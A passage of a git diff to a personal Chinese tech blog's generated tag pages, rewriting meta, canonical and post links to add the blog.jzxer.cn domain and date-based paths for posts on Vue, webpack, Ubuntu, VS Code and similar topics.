     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/sticky布局/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/sticky布局/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: sticky布局 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/sticky布局/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/sticky布局/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sticky-footer.html">sticky-footer</a></p>
+        <p class="article-headline-p"><a href="/2017/07/02/sticky-footer.html">sticky-footer</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sticky-footer.html" target="_self">阅读全文</a>
+            <a href="/2017/07/02/sticky-footer.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/ubuntu/index.html b/public/tags/ubuntu/index.html
index e11de2f..34ff0e7 100644
--- a/public/tags/ubuntu/index.html
+++ b/public/tags/ubuntu/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/ubuntu/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/ubuntu/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/ubuntu/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/ubuntu/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: ubuntu | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/ubuntu/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/ubuntu/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/vscode/index.html b/public/tags/vscode/index.html
index 38f3cba..1b993c9 100644
--- a/public/tags/vscode/index.html
+++ b/public/tags/vscode/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/vscode/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/vscode/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/vscode/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/vscode/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: vscode | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/vscode/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/vscode/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
+        <p class="article-headline-p"><a href="/2017/12/26/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vscode-配置插件推荐.html" target="_self">阅读全文</a>
+            <a href="/2017/12/26/vscode-配置插件推荐.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/vue-router/index.html b/public/tags/vue-router/index.html
index d973f03..f15a19a 100644
--- a/public/tags/vue-router/index.html
+++ b/public/tags/vue-router/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/vue-router/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/vue-router/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/vue-router/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/vue-router/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: vue-router | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/vue-router/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/vue-router/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/vue/index.html b/public/tags/vue/index.html
index 1d5cfa2..e9578a6 100644
--- a/public/tags/vue/index.html
+++ b/public/tags/vue/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/vue/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/vue/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/vue/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/vue/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: vue | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/vue/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/vue/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue-eleme.html">vue-eleme</a></p>
+        <p class="article-headline-p"><a href="/2017/07/05/vue-eleme.html">vue-eleme</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue-eleme.html" target="_self">阅读全文</a>
+            <a href="/2017/07/05/vue-eleme.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
+        <p class="article-headline-p"><a href="/2017/06/18/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue学习笔记（一）.html" target="_self">阅读全文</a>
+            <a href="/2017/06/18/vue学习笔记（一）.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/vuex/index.html b/public/tags/vuex/index.html
index 3b66071..dda2ab2 100644
--- a/public/tags/vuex/index.html
+++ b/public/tags/vuex/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/vuex/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/vuex/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/vuex/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/vuex/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: vuex | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/vuex/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/vuex/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -425,8 +425,6 @@
     <!-- Normal Post -->
     
         
-    
-        
             
                 <!-- Paradox Thumbnail -->
                 <div class="post_entry-module mdl-card mdl-shadow--4dp mdl-cell mdl-cell--12-col fade out">
@@ -439,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vuex-模块介绍.html">vuex 使用技巧</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vuex-模块介绍.html">vuex 使用技巧</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -449,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vuex-模块介绍.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vuex-模块介绍.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -487,6 +485,8 @@
             
         
     
+        
+    
 
     
 
diff --git a/public/tags/webpack/index.html b/public/tags/webpack/index.html
index 0274217..33c088a 100644
--- a/public/tags/webpack/index.html
+++ b/public/tags/webpack/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/webpack/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/webpack/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/webpack/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/webpack/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: webpack | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/webpack/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/webpack/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/urlMaker.html">urlMaker</a></p>
+        <p class="article-headline-p"><a href="/2017/12/18/urlMaker.html">urlMaker</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/urlMaker.html" target="_self">阅读全文</a>
+            <a href="/2017/12/18/urlMaker.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/windows/index.html b/public/tags/windows/index.html
index b4ffbb9..6e797f6 100644
--- a/public/tags/windows/index.html
+++ b/public/tags/windows/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/windows/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/windows/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/windows/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/windows/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: windows | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/windows/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/windows/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/搭一个windows云服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/搭一个windows云服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/人生感悟/index.html b/public/tags/人生感悟/index.html
index 1057608..de472b2 100644
--- a/public/tags/人生感悟/index.html
+++ b/public/tags/人生感悟/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/人生感悟/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/人生感悟/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/人生感悟/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/人生感悟/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 人生感悟 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/人生感悟/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/人生感悟/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我向往的明天.html">我向往的明天</a></p>
+        <p class="article-headline-p"><a href="/2017/07/01/我向往的明天.html">我向往的明天</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我向往的明天.html" target="_self">阅读全文</a>
+            <a href="/2017/07/01/我向往的明天.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/全栈开发/index.html b/public/tags/全栈开发/index.html
index a5fdb06..911fe1f 100644
--- a/public/tags/全栈开发/index.html
+++ b/public/tags/全栈开发/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/全栈开发/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/全栈开发/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/全栈开发/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/全栈开发/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 全栈开发 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/全栈开发/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/全栈开发/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
